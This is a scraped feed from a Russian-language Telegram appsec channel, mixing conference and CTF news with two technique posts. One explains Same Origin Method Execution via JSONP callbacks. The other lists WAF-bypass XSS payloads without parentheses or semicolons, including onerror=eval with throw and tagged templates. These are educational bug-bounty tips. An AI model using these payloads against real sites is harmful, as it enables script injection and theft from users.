AppSecs – Telegram
Окак

А отказаться можно?
🌚9🤡1
Задумывались о сомах?

Same Origin Method Execution (SOME) — это класс уязвимостей веб-приложений, при которых злоумышленник через параметр обратного вызова (callback) вынуждает браузер жертвы выполнить произвольный JavaScript-метод в контексте доверенного домена.

Звучит знакомо? Да, очень похоже на эксплуатацию классического JSONP callback, когда злоумышленник передаёт в параметре callback произвольный JavaScript-код (например, `alert(document.cookie)`), который сервер возвращает и браузер выполняет в контексте страницы. Однако, что делать, когда некоторые веб-сайты ограничивают параметр обратного вызова JSONP? Например, разрешены только определенные символы, такие как a-zA-Z.

Существует еще одно понятие, называемое Same Origin Method Execution (иногда еще называют Universal Reverse ClickJacking). Идея заключается в том, что, хотя мы можем вызывать только функции, мы также можем исполнять методы на веб-сайте с тем же происхождением. Допустим, на странице есть кнопка, при нажатии на которую происходит какое-то действие. Вы можете использовать JavaScript код, чтобы щелкнуть ее:

document.body.firstElementChild.nextElementSibling.click


Поскольку символы в этом коде разрешены, вы можете поместить его внутри JSONP:

?callback=document.body.firstElementChild.nextElementSibling.click


И использовать JSONP для выполнения кода, как упоминалось ранее. Похожее на XSS, но с более узкими ограничениями: злоумышленник не может внедрить произвольный код, но может взаимодействовать с DOM (кликать кнопки, отправлять формы, вызывать существующие JS-функции).

Данная уязвимость использовалась для обхода CSP и установки вредоносного плагина в WordPress: https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Расширение BurpSuite для обнаружения: https://github.com/PortSwigger/same-origin-method-execution
👍8
После стольких лет
Что – ZeroNights
Где – Санкт-Петербург, LOFT HALL #7
Когда – 26 ноября

Ссылка – zeronights.ru

📝 Думаю, что про эту конференцию и так все знают. На такое мы ходим.

🗓 Твой Пакет Мероприятий | 🗓Наш календарь
🛍 Другие каналы
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
Forwarded from Evening bug reports
Там shodan акк за 5$ можно взять
🔥4
Первый день OFFZONE прошел неплохо
🔥10
Совершенно неожиданно выиграл книгу от @study_security. Неожиданно и приятно :)
Благодарю! Придётся Будем развиваться.
🔥6👍2
100 лет не CTF'ил и решил вспомнить молодость, вылезти из пещеры и поиграть в составе команды SiBears на VolgaCTF. Это был мой первый визит в Самару и очное посещение VolgaCTF.

Помимо участия в соревнованиях получилось пообщаться с некоторыми интересными людьми, послушать доклады (в этот раз было много про баг баунти), полутать мерча, а так же посетить похек (раньше я думал, что Похек - это безопасник из Бастиона 🌚).

В общем и целом, остались положительные впечатления за исключением того, что до Самары тяжеловато добираться 😑
(вот вам несколько случайных фоточек)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
9
Forwarded from Standoff Bug Bounty Tips
🤔 Эксплуатация XSS без скобок и точек с запятой

Главная цель — обход WAF, который блокирует типичные паттерны XSS.

Как это работает ⤵️

🔴 С помощью запятых можно объединить несколько выражений и вернуть последнее из них
🔴 Замена onerror на eval позволяет выполнить сообщение об ошибке как код
🔴 Вызванные ошибки станут частью сообщения об ошибке
🔴 Если тебе удалось преобразовать сообщение об ошибке в корректный код, значит, ты справился

➡️ Tagged Template Strings

Базовый прием — использование функции перед шаблонной строкой:

alert`test`


Более продвинутый вариант — создание функции из строки:

Function`alert\u00281\u0029` ``


Здесь скобки заменены на unicode-представление (\u0028 и \u0029).

Динамическое выполнение кода через hash:

Function`_${location.hash.slice`1`}` ``


➡️ Метод onerror + throw (Chrome)

Ключевая идея: подмена onerror на eval и создание валидного JS-кода из сообщения об ошибке:

onerror = eval
throw '=alert\x281\u0029'


Сообщение об ошибке в Chrome: Uncaught =alert(1), что является валидным кодом (Uncaught становится переменной).

Без точки с запятой (используя блок):

{onerror=alert}throw 1


Или через запятую:

throw onerror=alert,1


➡️ Метод для Firefox

В Firefox формат ошибок другой, поэтому используются объекты Error:

throw onerror=eval,x=new Error,x.message='alert\x281\x29',x


➡️ Продвинутые техники

Пейлоад через regexp и конкатенацию:

throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]


Здесь:

🔴 a[12] и a[13] извлекают ( и ) из строки функции URL
🔴 /1/g — regexp, который в строке становится "/1/g"
🔴 Итоговое сообщение: Uncaught /1/g(1337,3331,117) — валидный код

Манипуляция с TypeError.prototype.name:

TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']


Изменяется имя TypeError, чтобы сообщение об ошибке начиналось с =/, формируя regexp, который комбинируется с -alert(1).

💡 Пост вдохновлен несколькими исследованиями по теме:

✳️ Explaining XSS without parentheses and semi-colons
✳️ XSS technique without parentheses
✳️ XSS without parentheses and semi-colons
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥53